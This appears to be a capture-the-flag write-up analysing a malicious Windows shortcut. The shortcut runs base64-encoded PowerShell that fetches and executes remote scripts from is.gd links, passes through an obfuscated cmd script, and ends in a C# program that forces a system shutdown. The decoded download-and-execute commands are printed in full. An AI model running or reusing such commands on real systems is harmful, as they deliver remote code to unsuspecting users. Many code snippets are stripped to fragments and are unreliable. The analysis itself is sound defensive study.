lnkparse
:Windows Shortcut Information:
...
TARGET:
...
LINK INFO:
...
DATA:
Relative path: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Working directory: C:\Windows\system32
Command line arguments: -e aQB3AHIAIABpAHMALgBnAGQALwB6AGQANABoAFoAbgAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA=
EXTRA:
...
Quite a lot of junk here but we see that powershell.exe
is being passed some base64-encoded stuff.
|
# is.gd/zd4hZn
Our first.out
file looks a bit weird, but we can deduct that is a cmd
script split into three main parts:
set
command:&cls
@echo off
set x=set
%x% s=
%x%%s%zz==
%x%%s%p%zz%/
%x%%s%ma%zz%a
%x%%s%gm%zz%c
%x%%s%qf%zz%m
%x%%s%h%zz%d
%x%%s%ax%zz%e
%x%%s%ds%zz%x
%x%%s%rb%zz%i
%x%%s%cu%zz%t
%x%%s%qd%zz%
%x%%s%%p%%ma%%s%z%zz%8639305 %% 8639208
%gm%%qf%%h%%qd%%p%%gm%%qd%%ax%%ds%%rb%%cu%%qd%%z%
%x%%s%wp%zz%%=exitcodeAscii%
%x%%s%%p%%ma%%s%ab%zz%3403246 %% 3403148
%gm%%qf%%h%%qd%%p%%gm%%qd%%ax%%ds%%rb%%cu%%qd%%ab%
%x%%s%v%zz%%=exitcodeAscii%
%x%%s%%p%%ma%%s%cy%zz%5276898 %% 5276799
%gm%%qf%%h%%qd%%p%%gm%%qd%%ax%%ds%%rb%%cu%%qd%%cy%
%x%%s%e%zz%%=exitcodeAscii%
%qu%%qu%%qd%%eb%%ax%%cu%%qd%%ds%%dc%%u%%ma%%g%%u%%gm%%v%%dc%%gm%%qg%%gm%%ba%%ec%%hv%%cu%%u%%ax%%xk%%ul%%ds%%o%%ax%%nv%%ax%%ds%%g%%wa%%h%%qf%%ds%%gm%%ec%%ul%%eb%%rb%%ds%%qf%%wa%%wa%%t%%rb%%qg%%u%%pv%%rb%%cr%%nv%%cr%%o ...
After arranging the whole thing with ---START---
and ---END---
delimiters, we can start decoding !
;
;
;
;
;
// Manual mappings defined at part 1. (needed for "/a cmd exit")
;
// Parse mappings from part 2.
for of matches
// Retrieve the payload part
;
;
for of to_decode
res;
Running this and we get another file full of junk:
rem set yjchhfxckpteverppmhztkiqhhpehqjgvzpglozcjzxxczmkhrww=yvrclcqlfnfpxmcwpqpjsdybfvggxacsfacvjpcliuwpzbzroenqawfxrc
rem set fzhnusjekleyyjbpzlmygwjvtqwvtgqwdjssqpncuqytnfijbqribyhkmmdhxq=jsqpyyljkjmwxxnkqvvnemyxwtgpobiljbkxuozgtrqdnydgtltwo
:: set urfroegmtkpfqis=verfnkrbhcmiajaezhqb
set jpyqlchzcuzgmjsahxjxenltfpdygmdkztrzqouxkdfwkewypaiwxvhyyoncafjbqfsh=dbvxggytlrfvtl
set rmdybvgurqrxfqmhbseysiyiqauksottklgaitbij=xvoapkvhtwrwvrylzgbsxjmtgxymdgjs
rem set syuzveatifikhhcdvsavncalizphjsukxggujlvfqn=eclazgecomzdgvl
set ftzoy=syywqkwsdqxvzkidymdrijcp
powershell -e aQB3AHIAIABpAHMALgBnAGQALwBRAFIARAB5AGkAUAB8AGkAZQB4AA==
:: set urfroegmtkpfqis=verfnkrbhcmiajaezhqb
:: set xwrahrcbwcgcuoktrepnxfevexhydmxconsixmyyqigr=izvzf
set rmdybvgurqrxfqmhbseysiyiqauksottklgaitbij=xvoapkvhtwrwvrylzgbsxjmtgxymdgjs
set qhpjorldrymwegzawcstabkrryxcnflhkropseifrzxwwxdpz=plobsfozpdbdkzadbscqzmunzqawmuikgfrvvy
set cbatydmrbkgqjtmgcdpyytxqbjxj=esguhttobrtqjcfesywmllbvytnpcqym
rem set yjchhfxckpteverppmhztkiqhhpehqjgvzpglozcjzxxczmkhrww=yvrclcqlfnfpxmcwpqpjsdybfvggxacsfacvjpcliuwpzbzroenqawfxrc
set ftzoy=syywqkwsdqxvzkidymdrijcp
All the lines starting with rem
or ::
are comments so we can safely ignore them, the one that seems interesting is:
powershell -e aQB3AHIAIABpAHMALgBnAGQALwBRAFIARAB5AGkAUAB8AGkAZQB4AA==
Another round of base64 decoding:
|
# iwr is.gd/QRDyiP|iex
You know what's next, curl
-it. We now get a CSharp program that is being compiled and ran. A little formatting so that our eyes stop bleeding from this oneliner:
using ;
using .;
using ..;
using ..;
using .;
public
We have a simple AES encryption going inside the Shot()
function, which is then conditionally called in the script from the previous URL:
if ((Get-Random -Min 1 -Max 7) -eq 1)
Our Shot()
function basically adjusts the program's privileges to allow it to shutdown the system and then raises an error 0xc0000022
telling the system it needs to shut down with the 6
(shutdown action) argument.
It was getting pretty late at the time of solving this and I did not have the courage to compile csharp at midnight on a mac without visual studio and a 10Mpbs Internet connection, so I decided to rewrite the encryption process from the file in nodejs.
;
;
;
;
;
;
decrypted += "utf-8";
decrypted;
Running this and we finally get the flag:
flag{4e4f266d44717ff3af8bd92d292b79ec}